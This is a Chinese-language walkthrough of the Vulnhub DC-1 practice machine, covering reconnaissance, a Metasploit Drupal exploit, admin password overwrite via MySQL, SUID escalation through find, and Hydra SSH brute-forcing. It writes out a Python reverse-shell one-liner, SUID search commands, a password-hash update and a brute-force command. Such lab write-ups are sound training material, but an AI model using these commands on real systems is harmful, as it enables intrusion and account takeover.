渗透测试-Vulnhub靶机DC-1实战

文章目录

  • 前言
  • 信息收集
  • MSF攻击
  • 密码篡改
  • 系统提权
    • suid 提权
    • 提权利用
  • SSH爆破

前言

Vulnhub(官网地址)是一个特别好的渗透测试实战网站,提供了许多带有漏洞的渗透测试虚拟机下载。

本文记录对第一个靶机的渗透过程,靶机下载地址,如下:
渗透测试-Vulnhub靶机DC-1实战_第1张图片
下载完使用 VMWare 导入虚拟机文件,启动靶机,需要登陆密码,进不去,黑盒测试:
渗透测试-Vulnhub靶机DC-1实战_第2张图片

信息收集

1、启动 Kali Liunx 攻击机,查看IP:
渗透测试-Vulnhub靶机DC-1实战_第3张图片
2、使用arp-scan -l 命令,来探测同一局域网内的存活主机,找到靶机IP:
渗透测试-Vulnhub靶机DC-1实战_第4张图片
3、利用Nmap对靶机进行全端口扫描:
渗透测试-Vulnhub靶机DC-1实战_第5张图片
4、发现开放了80端口,本地物理机浏览器尝试访问:

渗透测试-Vulnhub靶机DC-1实战_第6张图片

MSF攻击

1、从上得知该个网站使用的是使用了 Drupal 框架的 CMS 系统,搜索该框架有没有可直接利用的 CVE 漏洞:

渗透测试-Vulnhub靶机DC-1实战_第7张图片2、既然存在一堆 CVE 漏洞,那么运行 msfconsole 命令启用 MSF 框架尝试进行漏洞利用,搜索 Drupal 的漏洞利用模块:
渗透测试-Vulnhub靶机DC-1实战_第8张图片
3、存在很多漏洞利用模块,尝试使用2018年的漏洞进行利用,使用show options 命令查看脚本所需设定参数:
渗透测试-Vulnhub靶机DC-1实战_第9张图片
4、设置目标靶机IP,尝试进行漏洞利用,成功获得Shell:
渗透测试-Vulnhub靶机DC-1实战_第10张图片

密码篡改

1、上面获得shell查看当前路径下的目录发现有 flag1.txt 的文件,打开看一下:
在这里插入图片描述
2、根据提示,百度获知 Drupal 的配置文件是网站根目录下的 /sites/default/setting.php 文件,访问查看:
渗透测试-Vulnhub靶机DC-1实战_第11张图片
3、发现了 flag2,flag2 提示不要使用字典暴力破解密码,应该使用其他方法,通过数据库应该是一种方法。使用 mysql 命令登录,发现 mysql 命令无效:
渗透测试-Vulnhub靶机DC-1实战_第12张图片
4、在 meterpreter 中能进行的命令比较少,直接进入系统下的 shell 试试,再次登录 mysql 发现终端不能正常回显信息:
渗透测试-Vulnhub靶机DC-1实战_第13张图片
5、获取交互式shell的时候发现有限制,可通过 python 中 pty.spawn() 获得交互式shell:
渗透测试-Vulnhub靶机DC-1实战_第14张图片
进入 shell 后执行命令 python -c 'import pty;pty.spawn("/bin/bash")',获得交互式 shell 并成功连接 mysql 数据库如下:

渗透测试-Vulnhub靶机DC-1实战_第15张图片6、接下来进行 mysql 数据库的查询:

mysql>show databases;        #查询数据库名称
mysql>use drupaldb;          #使用drupaldb数据库
mysql>show tables;           #查看数据库内的表

具体过程如下:
渗透测试-Vulnhub靶机DC-1实战_第16张图片
有一个名字为 user 的表:
渗透测试-Vulnhub靶机DC-1实战_第17张图片
7、使用 select 语句查询,找到可用于登录的用户 admin 和密码密文:
渗透测试-Vulnhub靶机DC-1实战_第18张图片8、使用 Drupal 对数据库的加密方法,加密脚本位置在网站根目录下的scripts下,使用加密脚本加密新密码123456,生成加密密文:渗透测试-Vulnhub靶机DC-1实战_第19张图片这个方法,没有成功,执行显示出错。如果计算hash成功,再 update 到对应的表中即可(此处密文参考别的大佬的博客,为“password”字符串的 SHA-512 加密运算的结果):

update users set pass=$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4’ where uid=1;

执行如下:
渗透测试-Vulnhub靶机DC-1实战_第20张图片
9、成功更换 admin 账户的密码后,进行网站登录 admin/password :
渗透测试-Vulnhub靶机DC-1实战_第21张图片渗透测试-Vulnhub靶机DC-1实战_第22张图片接下来在 Dashboard 里找到了 flag3:
渗透测试-Vulnhub靶机DC-1实战_第23张图片谷歌翻译一下以上提示:
在这里插入图片描述

系统提权

渗透测试-Vulnhub靶机DC-1实战_第24张图片结合官方的靶机接题提示,需要获得 root 权限并到 /root 路径下找到并查看最终的 flag 文件来完成挑战,获得 root 权限的方案有两种:

  1. 以 root 账户登陆(爆破 SSH 登录账户密码,这个后面再说);
  2. 普通用户登陆,查找具有 suid 权限位的命令去提权获得 root 权限。

根据上面的提示发现 perm,是让我们通过 suid 提权,SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用 SUID 提权的思路就是运行 root 用户所拥有的 SUID 的文件,那么我们运行该文件的时候就得获得root用户的身份了。

【SUID的作用】:SUID是set uid的简称,它出现在文件所属主权限的执行位上面,标志为 s 。当设置了SUID后,UMSK第一位为4。我们知道,我们账户的密码文件存放在/etc/shadow中,而/etc/shadow的权限为 ----------。也就是说:只有root用户可以对该目录进行操作,而其他用户连查看的权限都没有。当普通用户要修改自己的密码的时候,可以使用passwd这个指令。passwd这个指令在/bin/passwd下,当我们执行这个命令后,就可以修改/etc/shadow下的密码了。那么为什么我们可以通过passwd这个指令去修改一个我们没有权限的文件呢?这里就用到了suid,suid的作用是让执行该命令的用户以该命令拥有者即root的权限去执行,意思是当普通用户执行passwd时会拥有root的权限,这样就可以修改/etc/passwd这个文件了。设置 suid 的命令:chmod u+s 文件名。

suid 提权

已知的可用来提权的linux可行性的文件列表如下:

nmap
vim
find
bash
more
less
nano
cp

以下命令可以发现系统上运行的所有SUID可执行文件。

#以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;

利用find文件提权

假如我们现在拿到了一个网站服务器的shell,但是权限是ubuntu,我们现在需要提权到 root 用户权限。
在这里插入图片描述
我们使用命令find / -perm -u=s -type f 2>/dev/null查看具有root用户权限的SUID文件:
渗透测试-Vulnhub靶机DC-1实战_第25张图片随便找一个命令进行利用,我们就找find,先查看其信息,发现其确实是root用户权限的SUID的文件:
在这里插入图片描述
执行命令/usr/bin/find examples.desktop -exec whoami \;先看一下是否能用 find 命令以 root 权限运行,发现确实可以以 root 权限运行:
在这里插入图片描述接着可以以 root 用户的身份利用 python 反弹 shell:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.25",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'  #反弹一个sh类型的shell

如下图所示:
在这里插入图片描述可以看到,在攻击端收到了反弹过来的shell,并且是root身份:
渗透测试-Vulnhub靶机DC-1实战_第26张图片

提权利用

返回到本靶机环境,访问 /root 路径被拒绝:
在这里插入图片描述
使用命令find / -type f -perm -u=s 2>/dev/null发现 find 命令被设置为 suid 权限位:
渗透测试-Vulnhub靶机DC-1实战_第27张图片
使用 suid 进行提权访问:

www-data@DC-1:/var/www$ find /root/thefinalflag.txt -exec cat {} \;

可成功查看最终的 flag 文件:
渗透测试-Vulnhub靶机DC-1实战_第28张图片

SSH爆破

上面提到另一种获取 root 权限的办法是通过 SSH 暴力破解的方式获得 root 账户的密码并登录系统,下面进行补充演示。

1、使用 hydra+John 密码包对 root 的密码进行爆破,其中九头蛇 hydra 为 kali 内置工具,John 需要下载安装:

wget http://www.openwall.com/john/j/john-1.8.0.tar.gz   #下载John密码包
tar -xvf john-1.8.0.tar.gz  #解压缩
cd john-1.8.0/ src    #进入源码目录下
uname -a  #查看当前系统版本
make linux-x86-64   #编译并指定当前的Linux系统版本

2、使用如下命令进行 root 账户的密码爆破:

hydra -l root -P john-1.8.0/run/password.lst ssh://192.168.0.104 -f -vV -o hydraroot.ssh

爆破失败:
渗透测试-Vulnhub靶机DC-1实战_第29张图片渗透测试-Vulnhub靶机DC-1实战_第30张图片

3、既然 root 账户爆破失败,那看看还有没有别的账户吧……查看 /etc/passwd 发现存在一个 flag4 账户:
渗透测试-Vulnhub靶机DC-1实战_第31张图片
4、意识到以上找到 flag1、flag2、flag3、flag5,漏了 flag4 了,同样对着 flag4 账户进行 SSH 登录爆破一波:
渗透测试-Vulnhub靶机DC-1实战_第32张图片
成功爆破出密码为 orange:
渗透测试-Vulnhub靶机DC-1实战_第33张图片
5、使用 SSH 登录 flag4 账户,成功找到 flag4.txt:

渗透测试-Vulnhub靶机DC-1实战_第34张图片
至此,5个 flag 目标文件均已找到,靶机渗透结束。

你可能感兴趣的:(渗透测试)